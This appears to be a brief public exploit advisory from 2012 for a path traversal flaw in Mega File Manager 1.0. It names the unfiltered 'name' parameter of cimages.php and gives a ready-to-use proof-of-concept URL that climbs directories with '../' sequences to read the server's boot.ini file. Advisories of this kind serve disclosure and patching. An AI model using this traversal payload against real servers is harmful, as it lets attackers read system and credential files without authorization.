19 lines
No EOL
378 B
Text
19 lines
No EOL
378 B
Text
# Exploit Title: [MegaFileManager FileDownload Vulnerability
|
|
|
|
# date: 2012-04-19
|
|
|
|
# Author: i2sec-Min Gi Jo
|
|
|
|
# Software Link: http://www.awesomephp.com/?Download*5
|
|
|
|
# Version: Mega File Manager V 1.0
|
|
|
|
# Tested on: Windows
|
|
|
|
|
|
|
|
|
|
# Description : There is no filtering on 'cimages.php' parameter 'name'.
|
|
|
|
|
|
# PoC : http://[server]/megafilemanager/cimages.php?name=../../../../boot.ini |